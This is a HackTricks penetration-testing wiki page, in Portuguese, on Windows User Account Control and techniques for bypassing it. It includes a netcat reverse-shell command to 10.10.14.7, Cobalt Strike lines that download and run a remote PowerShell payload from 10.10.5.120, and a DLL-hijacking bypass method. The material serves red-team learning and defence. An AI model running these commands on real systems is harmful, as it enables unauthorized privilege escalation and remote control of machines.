UAC - Controle de Conta de Usuário
Reading time: 12 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
UAC
Controle de Conta de Usuário (UAC) é um recurso que permite um prompt de consentimento para atividades elevadas. Aplicativos têm diferentes níveis de integridade
, e um programa com um alto nível pode realizar tarefas que podem potencialmente comprometer o sistema. Quando o UAC está habilitado, aplicativos e tarefas sempre são executados sob o contexto de segurança de uma conta não-administradora a menos que um administrador autorize explicitamente esses aplicativos/tarefas a ter acesso de nível administrador ao sistema para serem executados. É um recurso de conveniência que protege os administradores de alterações não intencionais, mas não é considerado uma barreira de segurança.
Para mais informações sobre níveis de integridade:
Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: uma chave de usuário padrão, para realizar ações regulares como nível regular, e uma com privilégios de administrador.
Esta página discute como o UAC funciona em grande profundidade e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização em nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes aqui. Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:
Teoria de Bypass do UAC
Alguns programas são autoelevados automaticamente se o usuário pertence ao grupo de administradores. Esses binários têm dentro de seus Manifests a opção autoElevate com valor True. O binário também deve ser assinado pela Microsoft.
Então, para burlar o UAC (elevar do nível de integridade médio para alto) alguns atacantes usam esse tipo de binários para executar código arbitrário porque será executado a partir de um processo de alta integridade.
Você pode verificar o Manifest de um binário usando a ferramenta sigcheck.exe do Sysinternals. E você pode ver o nível de integridade dos processos usando Process Explorer ou Process Monitor (do Sysinternals).
Verificar UAC
Para confirmar se o UAC está habilitado, faça:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Se for 1
, então o UAC está ativado; se for 0
ou não existir, então o UAC está inativo.
Em seguida, verifique qual nível está configurado:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Se
0
, então, o UAC não solicitará (como desativado) - Se
1
, o administrador é solicitado a fornecer nome de usuário e senha para executar o binário com altos direitos (na Área de Trabalho Segura) - Se
2
(Sempre me notifique) o UAC sempre pedirá confirmação ao administrador quando ele tentar executar algo com altos privilégios (na Área de Trabalho Segura) - Se
3
, como1
, mas não necessariamente na Área de Trabalho Segura - Se
4
, como2
, mas não necessariamente na Área de Trabalho Segura - se
5
(padrão) pedirá ao administrador para confirmar a execução de binários não Windows com altos privilégios
Então, você deve olhar para o valor de LocalAccountTokenFilterPolicy
Se o valor for 0
, então, apenas o usuário RID 500 (Administrador embutido) pode realizar tarefas administrativas sem UAC, e se for 1
, todas as contas dentro do grupo "Administradores" podem fazê-lo.
E, finalmente, olhe para o valor da chave FilterAdministratorToken
Se 0
(padrão), a conta de Administrador embutido pode realizar tarefas de administração remota e se 1
, a conta de Administrador embutido não pode realizar tarefas de administração remota, a menos que LocalAccountTokenFilterPolicy
esteja definido como 1
.
Resumo
- Se
EnableLUA=0
ou não existir, sem UAC para ninguém - Se
EnableLua=1
eLocalAccountTokenFilterPolicy=1
, sem UAC para ninguém - Se
EnableLua=1
eLocalAccountTokenFilterPolicy=0
eFilterAdministratorToken=0
, sem UAC para RID 500 (Administrador embutido) - Se
EnableLua=1
eLocalAccountTokenFilterPolicy=0
eFilterAdministratorToken=1
, UAC para todos
Todas essas informações podem ser coletadas usando o módulo metasploit: post/windows/gather/win_privs
Você também pode verificar os grupos do seu usuário e obter o nível de integridade:
net user %username%
whoami /groups | findstr Level
UAC bypass
note
Note que se você tiver acesso gráfico à vítima, o bypass do UAC é simples, pois você pode simplesmente clicar em "Sim" quando o prompt do UAC aparecer.
O bypass do UAC é necessário na seguinte situação: o UAC está ativado, seu processo está sendo executado em um contexto de integridade média e seu usuário pertence ao grupo de administradores.
É importante mencionar que é muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Sempre) do que se estiver em qualquer um dos outros níveis (Padrão).
UAC desativado
Se o UAC já estiver desativado (ConsentPromptBehaviorAdmin
é 0
) você pode executar um shell reverso com privilégios de administrador (nível de integridade alto) usando algo como:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
Bypass de UAC com duplicação de token
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Muito Básico "bypass" de UAC (acesso total ao sistema de arquivos)
Se você tiver um shell com um usuário que está dentro do grupo Administradores, você pode montar o C$ compartilhado via SMB (sistema de arquivos) local em um novo disco e você terá acesso a tudo dentro do sistema de arquivos (até mesmo a pasta inicial do Administrador).
warning
Parece que esse truque não está funcionando mais
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Bypass de UAC com Cobalt Strike
As técnicas do Cobalt Strike só funcionarão se o UAC não estiver configurado no seu nível máximo de segurança.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire e Metasploit também têm vários módulos para bypass do UAC.
KRBUACBypass
Documentação e ferramenta em https://github.com/wh0amitz/KRBUACBypass
Exploits de bypass do UAC
UACME que é uma compilação de vários exploits de bypass do UAC. Note que você precisará compilar o UACME usando o visual studio ou msbuild. A compilação criará vários executáveis (como Source\Akagi\outout\x64\Debug\Akagi.exe
), você precisará saber qual você precisa.
Você deve ter cuidado porque alguns bypasses irão solicitar outros programas que alertarão o usuário que algo está acontecendo.
O UACME tem a versão de build a partir da qual cada técnica começou a funcionar. Você pode procurar por uma técnica que afete suas versões:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Also, usando this page você obtém a versão do Windows 1607
a partir das versões de build.
Mais bypass de UAC
Todas as técnicas usadas aqui para contornar o AUC requerem um shell interativo completo com a vítima (um shell comum do nc.exe não é suficiente).
Você pode obter usando uma sessão de meterpreter. Migre para um processo que tenha o valor de Session igual a 1:
(explorer.exe deve funcionar)
Bypass de UAC com GUI
Se você tiver acesso a uma GUI, você pode simplesmente aceitar o prompt de UAC quando o receber, você realmente não precisa de um bypass. Assim, obter acesso a uma GUI permitirá que você contorne o UAC.
Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP), há algumas ferramentas que estarão rodando como administrador de onde você poderia executar um cmd por exemplo como admin diretamente sem ser solicitado novamente pelo UAC como https://github.com/oski02/UAC-GUI-Bypass-appverif. Isso pode ser um pouco mais furtivo.
Bypass de UAC barulhento por força bruta
Se você não se importar em ser barulhento, você sempre poderia executar algo como https://github.com/Chainski/ForceAdmin que pede para elevar permissões até que o usuário aceite.
Seu próprio bypass - Metodologia básica de bypass de UAC
Se você der uma olhada no UACME, você notará que a maioria dos bypasses de UAC abusa de uma vulnerabilidade de Dll Hijacking (principalmente escrevendo a dll maliciosa em C:\Windows\System32). Leia isso para aprender como encontrar uma vulnerabilidade de Dll Hijacking.
- Encontre um binário que irá autoelevar (verifique se, quando executado, ele roda em um nível de integridade alto).
- Com o procmon, encontre eventos "NAME NOT FOUND" que podem ser vulneráveis a DLL Hijacking.
- Você provavelmente precisará escrever a DLL dentro de alguns caminhos protegidos (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode contornar isso usando:
- wusa.exe: Windows 7, 8 e 8.1. Ele permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada a partir de um nível de integridade alto).
- IFileOperation: Windows 10.
- Prepare um script para copiar sua DLL dentro do caminho protegido e executar o binário vulnerável e autoelevado.
Outra técnica de bypass de UAC
Consiste em observar se um binário autoElevado tenta ler do registro o nome/caminho de um binário ou comando a ser executado (isso é mais interessante se o binário busca essa informação dentro do HKCU).
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.